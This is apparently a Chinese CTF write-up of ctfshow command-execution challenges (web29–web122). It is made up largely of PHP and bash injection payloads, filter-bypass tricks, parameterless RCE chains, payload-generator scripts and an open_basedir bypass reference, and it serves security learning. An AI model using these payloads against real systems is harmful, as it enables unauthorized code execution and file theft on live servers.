命令执行
1 | more:一页一页的显示档案内容 |
web29
源码:
1 |
|
1 | ?c=system('tac f*'); |
1 | csdn: |
web30
源码:
1 |
|
1 | ?c=var_dump(shell_exec('tac f*')); |
1 | ?c=passthru('tac f*'); |
1 | csdn:c=echo exec('nl fla?????');c=echo `nl fla''g.p''hp`;c=echo `nl fla?????`;还有上一道题的很多payload都可以使用system()passthru()exec()shell_exec()popen()proc_open()pcntl_exec()反引号 同shell_exec() |
1 | more:一页一页的显示档案内容less:与 more 类似 head:查看头几行tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看 file -f:报错出具体内容 grep1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file stringssystem()passthru()exec()shell_exec()popen()proc_open()pcntl_exec()反引号 同shell_exec() |
web31
源码:
1 |
|
1 | ?c=passthru("tac%09f*"); |
1 | csdn: |
web32
源码:
1 |
|
1 | ?c=include$_GET[a] &a=php://filter/read=convert.base64-encode/resource=flag.php |
1 | csdn: |
web33
源码:
1 |
|
1 | ?c=include$_GET[a] &a=php://filter/read=convert.base64-encode/resource=flag.php |
1 | csdn: |
web34
源码:
1 |
|
1 | ?c=include$_GET[a] &a=data://text/plain, system('tac f*'); |
1 | csdn: |
web35
源码:
1 |
|
1 | ?c=include$_GET[a] &a=data://text/plain, system('tac f*'); |
1 | csdn: |
web36
源码:
1 |
|
1 | ?c=include$_GET[a] &a=php://filter/read=convert.base64-encode/resource=flag.php |
1 | csdn: |
web37
源码:
1 |
|
1 | ?c=data://text/plain, system('tac f*'); |
1 | csdn: |
web38
源码:
1 |
|
过滤了php file无法直接写命令了
做法一:
利用User-Agent配合文件包含执行命令
做法二:
1 | ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg== |
这里发现base64字符最后需要以等于号结尾 不知道为什么
例:
phpinfo()可以构造最后为等于号结尾 加一个分号phpinfo();不是等于号结尾就不行了
1 | csdn:c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=也可以日志包含c=/var/log/nginx/access.log |
web39
源码:
1 |
|
限定了传入的字符加上php后再进行包含
但是没有过滤php file字符
1 | ?c=data://text/plain, system('tac f*'); |
web40
套娃
源码:
1 |
|
无参数RCE 参考链接
1 | https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE |
可以传参,但是对输入进行了严格的过滤,如果通过检测,就可以被eval执行。
过滤了几个常见的伪协议,不能通过伪协议读取文件
preg_replace函数中的正则匹配是无参数函数的校验
其中的()是中文括号
其只允许执行如下格式函数
1 | a(b(c()));a(); |
current() 返回数组中的当前单元, 默认取第一个值。
localeconv() 函数返回一包含本地数字及货币格式信息的数组
pos() current() 的别名
这里还有一个知识点:
current(localeconv())永远都是个点
?c=print_r(localeconv());
?c=print_r(current(localeconv())); 就会返回一个点
因为
current() 返回数组中的当前单元, 默认取第一个值。
current(localeconv())永远都是个点
1 | print_r(scandir(current(localeconv())));=========print_r(scandir(pos(localeconv())));======================print_r(scandir('.')); |
我们现在需要读出数组中倒数第二个内容 即flag.php
首先想到的是通过随机函数来读 array_rand()
array_rand():从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。 它使用了伪随机数产生算法,所以不适合密码学场景,
但是array_rand只能读出键
所以想办法把键值对互换
array_flip()交换数组的键和值
?c=print_r(array_flip(scandir(current(localeconv()))));
键值对交换完毕再用array_rand()随机读取
?c=print_r(array_rand(array_flip(scandir(current(localeconv())))));
刷新就能刷出随机的文件
做法一:
配合readfile/highlight_file等函数读出flag
1 | ?c=readfile(array_rand(array_flip(scandir(current(localeconv()))))); //不太好用 |
1 | ?c=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); //好用 |
1 | ?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); //好用 |
百分百读出flag
1 | ?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); |
array_reverse函数:array_reverse() 函数返回翻转顺序的数组。
next函数:next() 函数将内部指针指向数组中的下一个元素,并输出。
反转一下 读第二个 正好是flag.php
做法二:
1 | ?c=show_source(session_id(session_start())); |
配合session读文件
踩个坑
之前做的题的payload不行了
1 | ?c=system(session_id(session_start())); |
改成这样就行了
1 | ?c=session_start();system(session_id()); |
但是把session改成文件名 配合函数依然无法读取
查阅发现:受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
web41
源码:
1 |
|
用了大佬的脚本 两个脚本结合
exp.php
1 |
|
or.py
1 | import requestsimport urllibfrom sys import *import osdef action(arg): s1 = "" s2 = "" for i in arg: f = open("rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";" print(param) |
xor.py
1 | import requests |
php生成字典 python结合字典生成payload
踩坑:火狐渗透便携版的hackbar可以执行
1 | c="");("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%00"|"%60%60%60%20%60%2a");;# |
抓包可以
新版火狐不行
web42
源码:
1 |
|
参考文章:https://www.cnblogs.com/ultranms/p/9353157.html
简单理解
1 | 重定向绑定好了,在有了以上知识的基础上,我们再来看开头提到的>/dev/null 2>&1。这条命令其实分为两命令,一个是>/dev/null,另一个是2>&1。1. >/dev/null这条命令的作用是将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。2. 2>&1这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,说人话就是错误输出将会和标准输出输出到同一个地方。linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令,所以>/dev/null 2>&1的作用就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。 |
命令 | 标准输出 | 错误输出 |
---|---|---|
>/dev/null 2>&1 | 丢弃 | 丢弃 |
2>&1 >/dev/null | 丢弃 | 屏幕 |
利用%0a截断后面的命令 得以正常输出
1 | ?c=tac f*%0a //%0a换行 |
web43
源码:
1 |
|
过滤了 cat 和 ;
不影响上一题的payload
1 | ?c=tac f*%0a |
web44
源码:
1 |
|
过滤又多了个flag
依然不影响第一题的payload
1 | ?c=tac f*%0a |
web45
源码:
1 |
|
过滤多了个空格
把之前的空格替换成&09(tab)
或者用$IFS $IFS$9代替空格
1 | ?c=tac%09f*%0a |
web46
源码:
1 |
|
过滤增加了数字 $ *
换个通配符 或者用 \ ‘’ “”绕过
1 | ?c=tac%09f???.php%0a |
web47
源码:
1 |
|
过滤多了几个可以查看文件内容的命令 和上一题差不多的
1 | ?c=tac%09f???.php%0a |
web48
源码:
1 |
|
过滤多了几个可以查看文件内容的命令 和上一题差不多的
1 | ?c=tac%09f???.php%0a |
web49
源码:
1 |
|
过滤增加了反引号和%
1 | ?c=tac<fla\g.php|| //之前的用?匹配的payload用不了了 |
web50
源码:
1 |
|
增加了点过滤 和上一题还是差不多
1 | ?c=tac<fla\g.php|| |
web51
源码:
1 |
|
我最爱使用的tac被过滤了
1 | 其他命令 |
web52
源码:
1 |
|
过滤了<> 把对$的过滤取消了
1 | ?c=nl$IFS\fla\g.php|| //./flag.php 是假的?c=nl${IFS}fla\g.php|| ?c=nl$IFS\/fla''g|| // /flag 是真的?c=nl${IFS}/fla''g||?c=nl${IFS}\/fla''g|| |
web53
源码:
1 |
|
不用截断了 可以直接执行命令
1 | ?c=ta''c$IFS\fla\g.php?c=nl$IFS\fla\g.php?c=ta''c$IFS\fla''g.php?c=ta''c$IFS\fla''g.ph''p?c=ta''c$IFS\fla''g.ph''p?c=ta''c$IFS\fla''g.p''h''p?c=ta''c$IFS\fla''g.p''hp?c=ta''c$IFS\fla''g.ph''p''?c=ta''c$IFS\fla''g.php'' |
web54
源码:
1 |
|
过滤比较严格 不能用符号混淆匹配了
匹配到bin下的命令 查看flag.php 这里不用$IFS\了 不太明白为什么
1 | ?c=/bin/c??${IFS}?????????c=/bin/c?t$IFS?????????c=/bin/c?t${IFS}?????????c=/bin/m???${IFS}?????????c=/bin/mo?e${IFS}???????? |
web55
源码:
1 |
|
方法一:
通过html表单构造post上传包
参考:https://blog.csdn.net/qq_46091464/article/details/108513145
1 |
|
这个tmp文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
然后通过的 . filename 去执行里面的文件内容
注意:通过
.去执行sh命令不需要有执行权限
p神的无字母getshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
1 | 所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。翻开ascii码表,可见大写字母位于`@`与`[`之间: |
tmp下的文件太多了 因为临时文件包含大写字母 让其中一位是大写字母 多发几次包 就匹配上了
1 | ?c=.%20/???/????????[@-[] |
本地实验
tmp里生成的php临时文件属于秒删的文件 需要条件竞争
本地源码:
1 |
|
.%20 .+ 跟文件名都可以
本地全?匹配可以匹配到 可能是因为本地临时文件少
方法二:
有这个命令的服务器可以用
1 | ?c=/???/????64 ????????等价于?c=/bin/base64 flag.php |
web56
源码:
1 |
|
屏蔽的字符又多了一些
base64读取的方法就不能用了
用构造上传的方式 文件名随意
1 | POST /?c=.+/???/????????[@-[] HTTP/1.1Host: 36af94db-2741-4936-9b3f-628b371c2bf8.challenge.ctf.show:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------349241911439794304192858724099Content-Length: 361Connection: closeCookie: UM_distinctid=17a32dd57bc2ad-0ac4229db2de46-4c3f2d73-1fa400-17a32dd57bd911Upgrade-Insecure-Requests: 1-----------------------------349241911439794304192858724099Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: application/octet-streamcat flag.php-----------------------------349241911439794304192858724099Content-Disposition: form-data; name="submit"æ交-----------------------------349241911439794304192858724099-- |
web57
源码:
1 |
|
把问号也过滤了 同时定向system函数里cat命令查看php文件
1 | $(()) = 0$(( ~$(()) )) = -1$((~$(()))) = -1$(( ~$(()) $((~$(()))) )) = -2$(( ~$(()) $((~$(()))) $((~$(()))) )) = -3最后再把构造的字符str放进 $((~ str )) 进行取反 假设把-3放入$((~ $(( ~$(()) $((~$(()))) $((~$(()))) )) )) = 2假设把2放入$((~ $((~ $(( ~$(()) $((~$(()))) $((~$(()))) )) )) )) = -3 |
1 | 取反运算符~详解:https://zhuanlan.zhihu.com/p/261080329原码、反码、补码知识详细讲解:https://blog.csdn.net/zl10086111/article/details/80907428取反原理: 就是补码取反 以-3取反为2为例第一位为符号位1000 0101 = -3二进制原码: 1000 0011 取补码 : 1000 0011 取反码 1111 1100 +1为补码 1111 1101补码 1111 1101 取反 0000 0010 系统输出时,由于他的符号位是0,系统认为这是一个正数的补码正数补码即原码,最终输出0000 0010=2 以2取反为-3为例0000 0010 = 2二进制原码: 0000 0010取补码: 正数的原码即补码 0000 00100000 0010 取反 1111 1101 系统输出时,由于他的符号位是1,系统认为这是一个负数的补码 负数输出时,先将系统认为的这个补码减一得反码1111 1100 再取反码就得到了原码 1000 0011 = -3 |
小脚本
1 | # -*- coding: utf-8 -*-# @Author : Summer# @Time : 2021/7/28 20:09# @Function:str='$((~$((~$(())' + '$((~$(())))'*int(input('请输入想要构造的数字:')) + ')))) 'print(str) |
1 | ?c=$((~$((~$(())$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
web58
源码:
1 |
|
乍一看简单的命令执行 试了一下危险函数都被禁了
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
之前的题目payload
1 | ?c=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); |
1 | ?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); |
学习一下Y4师傅的payload
1 | 首先要获取文件路径,在这里我们可以用两种方式,我暂时想到这两种 |
1 | //通过单一函数读取文件c=echo file_get_contents("flag.php");c=readfile("flag.php");c=var_dump(file('flag.php'));c=print_r(file('flag.php'));//这里做一个解释`file — 把整个文件读入一个数组中` |
1 | 通过fopen去读取文件内容,这里介绍下函数fread()fgets()fgetc()fgetss()fgetcsv()gpassthru()payload:c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);} |
1 | //通过高亮显示php文件show_source("flag.php"); highlight_file("flag.php"); |
web59
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
学习一下Y4师傅的payload
1 | 首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下 //paylaod汇总c=highlight_file("flag.php");c=var_dump(file("flag.php")); c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}c=$a=fopen("flag.php","r");echo fread($a,"1000");c=$a=fopen("flag.php","r");echo fpassthru($a); |
web60
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
学习一下Y4师傅的payload
1 | 首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下 //payload汇总c=highlight_file("flag.php");c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}同时记录一个,但是这道题不能用$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用还有新姿势 //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)copy()rename()//用法:copy("flag.php","flag.txt"); //过60rename("flag.php","flag.txt"); //过60 |
先执行c=copy(“flag.php”,”flag.txt”); 再访问 太厉害了
rename(“flag.php”,”flag.txt”); 直接把flag改成静态文件的名字
web61
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
web62
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
web63
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
web64
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
web65
源码:
1 |
|
差不多的 应该是后台又禁用了一些函数
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
学习一下Y4师傅的payload
1 | 为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
web66
源码:
1 |
|
用c=highlight_file(‘flag.php’);读取flag.php文件
回显不在这里
想办法读一下目录
1 | c=print_r(scandir('/'));c=var_dump(scandir('/')); |
可以看到第六个文件是flag.txt
show_source函数被禁了
show_source() has been disabled
1 | c=highlight_file('/flag.txt'); |
1 | csdn://下面是payloadc=include('/flag.txt');c=require('/flag.txt');c=require_once('/flag.txt');c=highlight_file('/flag.txt'); |
web67
源码:
1 |
|
print_r函数被禁了
用var_dump函数读取目录
1 | c=var_dump(scandir('/')); |
然后读取flag文件
1 | c=highlight_file('/flag.txt'); |
1 | csdn://下面是payloadc=include('/flag.txt');c=require('/flag.txt');c=require_once('/flag.txt');c=highlight_file('/flag.txt'); |
web68
打开就显示函数错误 因为highlight_file()函数禁了 看不到源码了 不管那么多 先看一下目录
1 | c=var_dump(scandir('/')); |
发现了flag.txt
直接开始读
发现这俩个函数都禁了
1 | c=highlight_file('flag.php');c=show_source('flag.php'); |
换新的
1 | c=include('/flag.txt'); |
web69
想读目录 var_dump print_r也禁了
看目录新姿势
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");} |
然后读文件
1 | c=include('/flag.txt'); |
1 | csdn://payload介绍c=include('/flag.txt');c=require('/flag.txt');c=require_once('/flag.txt'); |
web70
和web69一样 但是多了几个函数的禁用
1 | c=include('/flag.txt'); |
web71
源码:
1 |
|
增加了两个新函数
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
简而言之就是把该输出的内容放进$s 然后抹去输出 经过匹配替换后再输出内容
本地实验:
1 |
|
新技巧:这里只要让脚本提前终止运行就可以了
1 | c=include('/flag.txt');exit(); |
web72
源码:
1 |
|
flag.txt已经不在了
读目录
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); |
看到flag0.txt 但是却不能读
看提示里说利用uaf的脚本进行命令执行
了解到知识点是 bypass open_basedir
现成的脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
ctfshow版
1 | function ctfshow($cmd) { |
用bp发包 url编码后赋值给参数c
web73
读目录:
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); |
看到flagc.txt
做法一:
1 | c=require('/flagc.txt');exit(); |
做法二:
1 | post:c=include($_GET['url']);exit();post:c=include($_GET['url']);ob_end();get:?url=php://filter/convert.base64-encode/resource=/flagc.txt |
web74
读目录:
1 | c=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); $a= |
看到flagx.txt
1 | c=require_once('/flagx.txt');exit(); |
web75
读目录:
1 | c=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); $a= |
看到flag36.txt
但是用之前的函数读不了了
新技巧:看了wp是用mysql load_file读文件 太秀了。。。
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
美化版:
1 | c=try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root'); foreach($dbh->query('select load_file("/flag36.txt")') as $row) { echo($row[0])."|"; } $dbh = null;}catch (PDOException $e) { //捕捉异常 echo $e->getMessage(); exit(0);}exit(0); |
web76
读目录:
1 | c=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0); $a= |
看到flag36d.txt
用mysql load_file读文件
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
web77
读目录:
1 | c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); |
看到flag36x.txt 还有一个readflag文件
新技巧:
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
什么是FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象$a='/readflag > 1.txt';//没有回显的$ffi->system($a);//通过$ffi去调用system函数 |
1 | c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit(); |
利用该payload执行readfile 将文件输出到当前目录下的1.txt
然后通过url直接访问就可以
web118
打开页面有一个输入框 查看源代码
有一行
1 | <!-- system($code);--> |
猜测输入框内应该是code
post传参code
知识点: Bash的内置变量
大佬的讲解
这个题不同的环境会有不同的结果 题目本身也很绝
1 | payload: code=${PATH:~A}${PWD:~A} ????.??? |
web119
在118的基础上增加了 PATH、BASH、HOME的过滤
payload1:
1 | ${HOME:${#HOSTNAME}:${#SHLVL}} ====> t |
payload2:
1 | ${#SHLVL} ====> 1 |
这题真的绝
web120
源码:
1 |
|
限制了长度
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? |
web121
源码:
1 |
|
增加了过滤字符 过滤多了几个变量 没过滤WD和RANDOM
想办法替换上一个payload
过滤了SHLVL,可以用 $?替代
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? |
1 | $? |
替换后
1 | code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? |
web122
源码:
1 |
|
增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了
1 | $? |
1 | code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |
绝了